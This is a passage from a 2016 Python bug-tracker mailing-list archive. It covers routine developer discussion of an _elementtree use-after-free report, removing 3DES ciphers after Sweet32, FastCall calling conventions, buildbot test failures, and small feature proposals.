7, in b.start("tag2", {}) AttributeError: 'int' object has no attribute 'text' Program received signal SIGSEGV, Segmentation fault. 0x0000000000435122 in visit_decref (op=0x7ffff6d52380, data=0x0) at Modules/gcmodule.c:373 373 if (PyObject_IS_GC(op)) { (gdb) print *op $52 = {_ob_next = 0xdbdbdbdbdbdbdbdb, _ob_prev = 0xdbdbdbdbdbdbdbdb, ob_refcnt = 0xdbdbdbdbdbdbdbdb, ob_type = 0xdbdbdbdbdbdbdbdb} Note that this issue exists in two places inside treebuilder_handle_start -- the call to treebuilder_set_element_tail has the same problem and both should be fixed. Issue 7: use-after-free in treebuilder_handle_end The same sort of issue also exists in treebuilder_handle_end and should be fixed there as well. All these issues were found in Python-3.5.2 and tested with --with-pydebug enabled. I did not check the 2.7 branch, but some (though not all) of the issues likely exist there as well. ---------- components: Extension Modules messages: 273662 nosy: tehybel priority: normal severity: normal status: open title: multiple issues in _elementtree module versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:19:27 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 25 Aug 2016 16:19:27 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> Message-ID: <1472141967.76.0.195749634188.issue27858@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I believe this has been previously discussed and declined. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:19:55 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 25 Aug 2016 16:19:55 +0000 Subject: [issue27863] multiple issues in _elementtree module In-Reply-To: <1472141830.55.0.358852521473.issue27863@psf.upfronthosting.co.za> Message-ID: <1472141995.82.0.660303530507.issue27863@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +eli.bendersky, scoder type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:25:14 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 25 Aug 2016 16:25:14 +0000 Subject: [issue27863] multiple issues in _elementtree module In-Reply-To: <1472141830.55.0.358852521473.issue27863@psf.upfronthosting.co.za> Message-ID: <1472142314.41.0.748859827258.issue27863@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your report tehybel. ---------- assignee: -> serhiy.storchaka nosy: +serhiy.storchaka stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:26:52 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 25 Aug 2016 16:26:52 +0000 Subject: [issue27860] Improvements to ipaddress module In-Reply-To: <1472138068.64.0.756560879111.issue27860@psf.upfronthosting.co.za> Message-ID: <1472142412.59.0.733792383415.issue27860@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +ncoghlan, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:27:31 2016 From: report at bugs.python.org (Jim Jewett) Date: Thu, 25 Aug 2016 16:27:31 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472142451.7.0.881831191872.issue27850@psf.upfronthosting.co.za> Jim Jewett added the comment: What does overriding to put it back require? Does it require a re-compile, or can it be done via a config file? Taking it out of the default set sounds reasonable, but requiring a recompile for people who want to retain backwards compatibility strikes me as too much, particularly for a maintenance release. ---------- nosy: +Jim.Jewett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:28:53 2016 From: report at bugs.python.org (Donald Stufft) Date: Thu, 25 Aug 2016 16:28:53 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472142533.87.0.0575259737653.issue27850@psf.upfronthosting.co.za> Donald Stufft added the comment: It's not a recompile but it's not a configuration file either, it's a Python level API you can call when you're creating a connection to specify what ciphers you want to allow for that connection. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:31:21 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 25 Aug 2016 16:31:21 +0000 Subject: [issue27858] Add identity function to functools In-Reply-To: <1472125335.99.0.627029201806.issue27858@psf.upfronthosting.co.za> Message-ID: <1472142681.68.0.127999787491.issue27858@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See issue1673203, issue11011. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:32:50 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 25 Aug 2016 16:32:50 +0000 Subject: [issue27861] sqlite3 type confusion and multiple frees In-Reply-To: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> Message-ID: <1472142770.99.0.222944558832.issue27861@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:33:22 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 25 Aug 2016 16:33:22 +0000 Subject: [issue27414] http.server.BaseHTTPRequestHandler inconsistence with Content-Length value In-Reply-To: <1467207276.94.0.887561217469.issue27414@psf.upfronthosting.co.za> Message-ID: <1472142802.43.0.176014233941.issue27414@psf.upfronthosting.co.za> Changes by Antoine Pitrou : ---------- nosy: -pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:39:20 2016 From: report at bugs.python.org (Jim Jewett) Date: Thu, 25 Aug 2016 16:39:20 +0000 Subject: [issue27425] Tests fail because of git's newline preferences on Windows In-Reply-To: <1467306989.4.0.803551571995.issue27425@psf.upfronthosting.co.za> Message-ID: <1472143159.99.0.537005033518.issue27425@psf.upfronthosting.co.za> Jim Jewett added the comment: I think if the test is ensuring one line-ending type, then there should be another test ensuring the other... but I think it would be best if there were a single test file that had both types of line-endings, just to ensure that the code doesn't cheat by reading only the first line and assuming that the rest of the data is consistent. ---------- nosy: +Jim.Jewett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:46:38 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 25 Aug 2016 16:46:38 +0000 Subject: [issue27852] itertools -> flatten_all() In-Reply-To: <1472059790.24.0.14619033581.issue27852@psf.upfronthosting.co.za> Message-ID: <1472143598.47.0.598628680921.issue27852@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: In proposed implementation str and bytes are not flattened. What about bytearray? array.array? memoryview? For different tasks they can be considered atomic or as collections. There are such much task specific details and the implementation is such simple, that I think there is no need add this function in itertools. And due to this details it may be not worth to add it as a recipe. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:48:23 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 25 Aug 2016 16:48:23 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472143703.62.0.419465032014.issue27850@psf.upfronthosting.co.za> Christian Heimes added the comment: Jim, https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers >>> ctx = ssl.create_default_context() >>> ctx.set_ciphers('HIGH:+3DES:!MD5') Please note that OpenSSL 1.1 will remove 3DES from default builds. You will have to build your own OpenSSL and re-compile Python in order to use 3DES with OpenSSL 1.1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:51:22 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 25 Aug 2016 16:51:22 +0000 Subject: [issue27846] Base64 expansion factor is 4 to 3, not 6 to 4 In-Reply-To: <1472030737.8.0.133776759316.issue27846@psf.upfronthosting.co.za> Message-ID: <1472143882.62.0.843387298243.issue27846@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 12:53:52 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 25 Aug 2016 16:53:52 +0000 Subject: [issue27846] Base64 expansion factor is 4 to 3, not 6 to 4 In-Reply-To: <1472030737.8.0.133776759316.issue27846@psf.upfronthosting.co.za> Message-ID: <1472144032.18.0.472060370537.issue27846@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Agreed with David. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 13:08:57 2016 From: report at bugs.python.org (Jim Jewett) Date: Thu, 25 Aug 2016 17:08:57 +0000 Subject: [issue25878] CPython on Windows builds with /W3, not /W4 In-Reply-To: <1450224755.83.0.682115702996.issue25878@psf.upfronthosting.co.za> Message-ID: <1472144937.6.0.452253461156.issue25878@psf.upfronthosting.co.za> Jim Jewett added the comment: Is there a way to document why certain warnings are being suppressed, in case someone wants to revisit the suppression later? ---------- nosy: +Jim.Jewett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 13:28:05 2016 From: report at bugs.python.org (Eric N. Vander Weele) Date: Thu, 25 Aug 2016 17:28:05 +0000 Subject: [issue27863] multiple issues in _elementtree module In-Reply-To: <1472141830.55.0.358852521473.issue27863@psf.upfronthosting.co.za> Message-ID: <1472146085.88.0.64711302325.issue27863@psf.upfronthosting.co.za> Changes by Eric N. Vander Weele : ---------- nosy: +ericvw _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 13:30:16 2016 From: report at bugs.python.org (Eric N. Vander Weele) Date: Thu, 25 Aug 2016 17:30:16 +0000 Subject: [issue27859] argparse - subparsers does not retain namespace In-Reply-To: <1472137330.56.0.683571624156.issue27859@psf.upfronthosting.co.za> Message-ID: <1472146216.14.0.0321792277975.issue27859@psf.upfronthosting.co.za> Changes by Eric N. Vander Weele : ---------- nosy: +ericvw _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 14:45:35 2016 From: report at bugs.python.org (E Rippey) Date: Thu, 25 Aug 2016 18:45:35 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key without trailing space In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472150735.28.0.199750204399.issue27855@psf.upfronthosting.co.za> E Rippey added the comment: I have one line change to "Lib/lib2to3/fixes/fix_has_key.py" that will resolve this issue. Would a patch be accepted? It doesn't seem like the input is unusually contorted. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 15:30:07 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Thu, 25 Aug 2016 19:30:07 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472153407.92.0.714883644536.issue26470@psf.upfronthosting.co.za> Changes by Chi Hsuan Yen : ---------- nosy: +Chi Hsuan Yen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 15:34:25 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 25 Aug 2016 19:34:25 +0000 Subject: [issue26638] Avoid warnings about missing CLI options when building documentation In-Reply-To: <1458881380.09.0.599104229044.issue26638@psf.upfronthosting.co.za> Message-ID: <1472153665.66.0.656564900238.issue26638@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Thank you, that worked -- and should have been documented in the help output. All the sphinx dependencies were inequalities, and rebuilding worked. The devguide only says "You are expected to have installed a recent version of Sphinx on your system or in a virtualenv,". Could we add "We currently recommend 'python -m pip install sphinx==1.3.6' as the easiest way to install and the best version for most people to install. See https://bugs.python.org/issue26638 for why." (I am assuming that pip works on all systems, not just Windows.) The sentence finishes with "so that the Makefile can find the sphinx-build command." On Windows. this is most easily done by installing Sphinx with a Python version that was added to PATH when installed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 15:35:04 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 25 Aug 2016 19:35:04 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472153704.65.0.802223092746.issue26470@psf.upfronthosting.co.za> Christian Heimes added the comment: OpenSSL 1.1.0 final was released a couple of hours ago. One test is failing because it uses 3DES. 1.1.0 has 3DES disabled by default. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 16:19:29 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 25 Aug 2016 20:19:29 +0000 Subject: [issue27768] ssl: add public API for IA-32 processor capabilities vector In-Reply-To: <1471269307.92.0.240465818653.issue27768@psf.upfronthosting.co.za> Message-ID: <1472156369.74.0.179497982684.issue27768@psf.upfronthosting.co.za> Gregory P. Smith added the comment: The processor capabilities vector is not the API you want. What you want is an API to ask the ssl library about characteristics of algorithm implementations it will be using. Those are not the same thing. If we want to expose processor capabilities as a library function it should not be done in the ssl module. That information belongs in the platform module. And doing so should not require a third party library such as OpenSSL. Querying capabilities is a very simple instruction and every platform architecture specific C macros to do it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:29:42 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 25 Aug 2016 21:29:42 +0000 Subject: [issue23702] docs.python.org/3/howto/descriptor.html still refers to "unbound methods" In-Reply-To: <1426708114.47.0.635748134131.issue23702@psf.upfronthosting.co.za> Message-ID: <1472160582.4.0.701060140295.issue23702@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +gregory.p.smith priority: normal -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:30:41 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 25 Aug 2016 21:30:41 +0000 Subject: [issue27830] Add _PyObject_FastCallKeywords(): pass keyword arguments as (key, value) pairs In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za> Message-ID: <20160825213038.67824.35355.885F5771@psf.io> Roundup Robot added the comment: New changeset ffcfa4f005a3 by Victor Stinner in branch 'default': Issue #27830: Revert, remove _PyFunction_FastCallKeywords() https://hg.python.org/cpython/rev/ffcfa4f005a3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:33:29 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 21:33:29 +0000 Subject: [issue27830] Add _PyObject_FastCallKeywords(): pass keyword arguments as (key, value) pairs In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za> Message-ID: <1472160809.15.0.828411510521.issue27830@psf.upfronthosting.co.za> STINNER Victor added the comment: > New changeset ffcfa4f005a3 by Victor Stinner in branch 'default': > Issue #27830: Revert, remove _PyFunction_FastCallKeywords() > https://hg.python.org/cpython/rev/ffcfa4f005a3 I'm sorry, I misunderstood Serhiy's comment. I understood that Serhiy proposed to reuse the current format "PyObject **stack, int nargs, int nkwargs", but in fact he proposes something new in the issue #27213. IMO the issue #27213 can be a major enhancement for Python 3.6. I prefer to wait until the issue #27213 is implemented (that we agreed on the new format), before working again on _PyObject_FastCallKeywords(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:34:34 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 21:34:34 +0000 Subject: [issue27830] Add _PyObject_FastCallKeywords(): avoid the creation of a temporary dictionary for keyword arguments In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za> Message-ID: <1472160874.68.0.479988002799.issue27830@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- title: Add _PyObject_FastCallKeywords(): pass keyword arguments as (key, value) pairs -> Add _PyObject_FastCallKeywords(): avoid the creation of a temporary dictionary for keyword arguments _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:34:54 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 21:34:54 +0000 Subject: [issue27830] Add _PyObject_FastCallKeywords(): avoid the creation of a temporary dictionary for keyword arguments In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za> Message-ID: <1472160894.95.0.0444179829524.issue27830@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- dependencies: +Rework CALL_FUNCTION* opcodes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:35:07 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 21:35:07 +0000 Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za> Message-ID: <1472160907.23.0.870696794095.issue27810@psf.upfronthosting.co.za> STINNER Victor added the comment: I changed the dependency to the issue #27830 "Add _PyObject_FastCallKeywords(): avoid the creation of a temporary dictionary for keyword arguments" which itself depends on the issue #27213 "Rework CALL_FUNCTION* opcodes". ---------- dependencies: +Add _PyObject_FastCallKeywords(): avoid the creation of a temporary dictionary for keyword arguments -_PyObject_FastCall(): add support for keyword arguments _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:45:08 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 21:45:08 +0000 Subject: [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow In-Reply-To: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za> Message-ID: <1472161508.78.0.464098159291.issue27358@psf.upfronthosting.co.za> STINNER Victor added the comment: See also issue #27845: "Optimize update_keyword_args() function". ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:45:23 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 21:45:23 +0000 Subject: [issue27845] Optimize update_keyword_args() function In-Reply-To: <1471988674.88.0.138357624643.issue27845@psf.upfronthosting.co.za> Message-ID: <1472161523.98.0.75364125643.issue27845@psf.upfronthosting.co.za> STINNER Victor added the comment: See also the issue #27358: "BUILD_MAP_UNPACK_WITH_CALL is slow. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:56:05 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 21:56:05 +0000 Subject: [issue27864] test_socket: unknown thread blocks forever on "AMD64 FreeBSD 9.x 3.x" Message-ID: <1472162165.25.0.11856143467.issue27864@psf.upfronthosting.co.za> New submission from STINNER Victor: http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%203.x/builds/4736/steps/test/logs/stdio ... running: test_socket (778 sec) running: test_socket (808 sec) running: test_socket (838 sec) running: test_socket (868 sec) running: test_socket (898 sec) 0:17:29 [402/402/1] test_socket crashed Timeout (0:15:00)! Thread 0x0000000801807400 (most recent call first): File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/threading.py", line 295 in wait File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/threading.py", line 551 in wait File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/test_socket.py", line 261 in _tearDown File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/case.py", line 603 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/case.py", line 648 in __call__ File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__ File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 122 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/suite.py", line 84 in __call__ File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/unittest/runner.py", line 176 in run File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 1810 in _run_suite File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/support/__init__.py", line 1844 in run_unittest File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/test_socket.py", line 5385 in test_main File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 164 in runtest_inner File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest.py", line 119 in runtest File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest_mp.py", line 71 in run_tests_slave File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 471 in _main File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 464 in main File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 526 in main File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/regrtest.py", line 46 in _main File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/regrtest.py", line 50 in File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 85 in _run_code File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 193 in _run_module_as_main Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 193, in _run_module_as_main "__main__", mod_spec) File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/runpy.py", line 85, in _run_code exec(code, run_globals) File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/__main__.py", line 2, in main() File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 526, in main Regrtest().main(tests=tests, **kwargs) File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 464, in main self._main(tests, kwargs) File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 484, in _main self.run_tests() File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/main.py", line 412, in run_tests run_tests_multiprocess(self) File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/libregrtest/runtest_mp.py", line 221, in run_tests_multiprocess raise Exception(msg) Exception: Child error on test_socket: Exit code 1 ---------- components: Tests keywords: buildbot messages: 273682 nosy: haypo, koobs priority: normal severity: normal status: open title: test_socket: unknown thread blocks forever on "AMD64 FreeBSD 9.x 3.x" versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 17:59:36 2016 From: report at bugs.python.org (YoSTEALTH) Date: Thu, 25 Aug 2016 21:59:36 +0000 Subject: [issue27852] itertools -> flatten_all() In-Reply-To: <1472059790.24.0.14619033581.issue27852@psf.upfronthosting.co.za> Message-ID: <1472162376.32.0.48589492718.issue27852@psf.upfronthosting.co.za> YoSTEALTH added the comment: Currently there is flatten() function in itertools Recipes section. This is what it does: -> a = ['one', 'plus', [b'two', b'three'], ['four', ('five', (1, {'e', 'ee'}, (2, (3, ))), ['six'])], generator()] <- ['o', 'n', 'e', 'p', 'l', 'u', 's', b'two', b'three', 'four', ('five', (1, {'ee', 'e'}, (2, (3,))), ['six']), 0, 1, 2] As you can see it only flattens 1 nested level and for some reason it explodes the 'one' and 'plus' str items (maybe intentionally designed or lazily ignored, i don't know). This is useful maybe in special circumstances where you have: -> a = [[1, 2, 3], ['one', 'two', 'three']] <- [1, 2, 3, 'one', 'two', 'three'] Also it doesn't work with bytearray, memoryview ... In real worldly use something like flatten_all() is more useful! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 18:03:17 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 22:03:17 +0000 Subject: [issue27213] Rework CALL_FUNCTION* opcodes In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za> Message-ID: <1472162597.8.0.16698130043.issue27213@psf.upfronthosting.co.za> STINNER Victor added the comment: > Pybench is now only ~200ms slower instead of 1200ms slower. But the whole point of this patch is that CALL_FUNCTION_EX shouldn't be optimized for, so I'd much prefer real benchmarking results FYI I released a first version of the "new" Python benchmark suite: performance 0.1 (quickly fixed with performance 0.1.1): * https://pypi.python.org/pypi/performance * https://github.com/python/benchmarks The README file contains a few information how to run a stable benchmark. Please help me to complete this documentation :-) I may help you to run these benchmarks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 18:27:13 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 25 Aug 2016 22:27:13 +0000 Subject: [issue27213] Rework CALL_FUNCTION* opcodes In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za> Message-ID: <1472164033.37.0.412705486879.issue27213@psf.upfronthosting.co.za> STINNER Victor added the comment: I'm working on a new calling convention: "fast call". I already pushed changes implementing first functions: _PyObject_FastCallDict(PyObject *func, PyObject **stack, Py_ssize_t nargs, PyObject *kwargs) kwargs is a Python dict, but it can be NULL. _PyObject_FastCallDict() avoids the creation a temporary tuple when you don't have to pass keyword arguments. But I'm interested by an evolution to avoid also the creation of a temporary dictionary: issue #27830, "Add _PyObject_FastCallKeywords(): avoid the creation of a temporary dictionary for keyword arguments". This function would be the fundation for a new calling convention for C functions: #27810, "Add METH_FASTCALL: new calling convention for C functions". I didn't read your patch carefully, but I would like to make sure that your patch would benefit of these APIs to avoid the creation of temporary tuple and/or dict. "func(*args, key=value)" uses CALL_FUNCTION_EX and so requires to create a temporary dictionary. Maybe it's ok, I don't think that this syntax is commonly used. "func(*args)" uses CALL_FUNCTION_EX: if args is a tuple, can you confirm that it would be possible to use _PyObject_FastCallDict() and/or _PyObject_FastCallKeywords() to avoid the creation a new temporary tuple? Hum, I don't think that "func(*args)" can be optimized if args is a list because a list is mutable, we cannot use a direct access to the internal C array of a list. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 19:01:28 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 25 Aug 2016 23:01:28 +0000 Subject: [issue19884] Importing readline produces erroneous output In-Reply-To: <1386158776.45.0.265770743985.issue19884@psf.upfronthosting.co.za> Message-ID: <1472166088.72.0.809426960984.issue19884@psf.upfronthosting.co.za> Martin Panter added the comment: Thanks, I can try to commit the version fix part of the patch when I get a chance. What is EL6.8, is that a Red Hat (Enterprise Linux) thing? ---------- versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 19:18:24 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 25 Aug 2016 23:18:24 +0000 Subject: [issue17642] IDLE add font resizing hot keys and wheel In-Reply-To: <1365228385.87.0.236246362772.issue17642@psf.upfronthosting.co.za> Message-ID: <1472167104.43.0.432192164824.issue17642@psf.upfronthosting.co.za> Terry J. Reedy added the comment: https://stackoverflow.com/questions/39155656/i-need-bigger-font-in-python-idle/39156068#39156068 is about getting a larger font size than 22 for classroom projection. I think configdialog.py should be extended something as follows (about line 1000). self.optMenuFontSize.SetMenu(('7', '8', '9', '10', '11', '12', '13', '14', '16', '18', '20', '22', '25', '30', '35', '40'), fontSize ) I think any new key or wheel should change by 1 over a large range rather than being constrained to the values on the list. I will try to look at the patches before 3.6. Tests should also be added. ---------- assignee: roger.serwy -> terry.reedy stage: needs patch -> patch review title: IDLE add font resizing hot keys -> IDLE add font resizing hot keys and wheel versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 22:46:05 2016 From: report at bugs.python.org (Antony Lee) Date: Fri, 26 Aug 2016 02:46:05 +0000 Subject: [issue27865] WeakMethod does not support builtin methods Message-ID: <1472179565.29.0.0988743337733.issue27865@psf.upfronthosting.co.za> New submission from Antony Lee: List subclasses can be weakref'd (as mentioned by the docs), but their methods cannot be wrapped by WeakMethod, even though this makes sense semantically: ``` In [25]: class L(list): pass In [26]: weakref.WeakMethod(L().append) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) in () ----> 1 weakref.WeakMethod(L().append) /usr/lib/python3.5/weakref.py in __new__(cls, meth, callback) 47 except AttributeError: 48 raise TypeError("argument should be a bound method, not {}" ---> 49 .format(type(meth))) from None 50 def _cb(arg): 51 # The self-weakref trick is needed to avoid creating a reference TypeError: argument should be a bound method, not ``` ---------- components: Library (Lib) messages: 273688 nosy: Antony.Lee priority: normal severity: normal status: open title: WeakMethod does not support builtin methods versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 22:47:29 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 26 Aug 2016 02:47:29 +0000 Subject: [issue27860] Improvements to ipaddress module In-Reply-To: <1472138068.64.0.756560879111.issue27860@psf.upfronthosting.co.za> Message-ID: <1472179649.0.0.149691220091.issue27860@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 25 23:22:57 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 26 Aug 2016 03:22:57 +0000 Subject: [issue27852] itertools -> flatten_all() In-Reply-To: <1472059790.24.0.14619033581.issue27852@psf.upfronthosting.co.za> Message-ID: <1472181777.93.0.244910488991.issue27852@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > I think there is no need add this function in itertools. > And due 